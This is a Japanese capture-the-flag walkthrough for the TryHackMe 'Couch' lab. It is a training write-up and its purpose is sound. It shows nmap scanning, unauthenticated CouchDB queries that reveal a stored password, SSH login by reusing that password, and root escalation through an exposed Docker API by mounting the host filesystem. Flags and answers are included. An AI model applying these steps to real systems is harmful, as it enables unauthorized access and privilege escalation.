概要
TryHackMe「Couch」のWalkthroughです。
Task1
Q1.Scan the machine. How many ports are open?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.42.53 -oN nmap_result
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:9d:39:09:34:30:4b:3d:a7:1e:df:eb:a3:b0:e5:aa (RSA)
| 256 a4:2e:ef:3a:84:5d:21:1b:b9:d4:26:13:a5:2d:df:19 (ECDSA)
|_ 256 e1:6d:4d:fd:c8:00:8e:86:c2:13:2d:c7:ad:85:13:9c (ED25519)
5984/tcp open http CouchDB httpd 1.6.1 (Erlang OTP/18)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
|_http-server-header: CouchDB/1.6.1 (Erlang OTP/18)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
5984 | http | CouchDB httpd 1.6.1 |
A.2
Q2.What is the database management system installed on the server?
A.couchdb
Q3.What port is the database management system running on?
A.5984
Q4.What is the version of the management system installed on the server?
A.1.6.1
Q5.What is the path for the web administration tool for this database management system?
A._utils
Q6.What is the path to list all databases in the web browser of the database management system?
A._all_dbs
Q7.What are the credentials found in the web administration tool?
/_all_dbs
でDB一覧を表示します。
$ curl http://10.10.42.53:5984/_all_dbs
["_replicator","_users","couch","secret","test_suite_db","test_suite_db2"]
secret
データベースが怪しいのでドキュメント一覧を取得します。
$ curl http://10.10.42.53:5984/secret/_all_docs
{"total_rows":1,"offset":0,"rows":[
{"id":"a1320dd69fb4570d0a3d26df4e000be7","key":"a1320dd69fb4570d0a3d26df4e000be7","value":{"rev":"2-57b28bd986d343cacd9cb3fca0b20c46"}}
]}
見つかったIDのデータを取得すると、atena
の認証情報を取得できました。
$ curl http://10.10.42.53:5984/secret/a1320dd69fb4570d0a3d26df4e000be7
{"_id":"a1320dd69fb4570d0a3d26df4e000be7","_rev":"2-57b28bd986d343cacd9cb3fca0b20c46","passwordbackup":"atena:t4qfzcc4qN##"}
A.atena:t4qfzcc4qN##
Q8.Compromise the machine and locate user.txt
Hint.It is very important to reuse passwords.
得られた認証情報でSSH接続に成功しました。
$ ssh atena@10.10.42.53
atena@ubuntu:~$
/home/atena/user.txt
からユーザーフラグを入手できました。
$ cat user.txt
THM{1ns3cure_couchdb}
A.THM{1ns3cure_couchdb}
Q9.Escalate privileges and obtain root.txt
.bash_history
を確認すると、dockerコンテナを起動していることが分かります。
atena@ubuntu:~$ cat .bash_history
(省略)
docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
同じコマンドを実行するとコンテナ内のroot権限を得られました。
$ docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
/ # whoami
root
ルートフラグファイルを検索すると/mnt/root/root.txt
にあることが分かりました。
# find / -name *root.txt* 2>/dev/null
/mnt/root/root.txt
/mnt/root/root.txt
からルートフラグを入手できました。
# cat /mnt/root/root.txt
THM{RCE_us1ng_Docker_API}
A.THM{RCE_us1ng_Docker_API}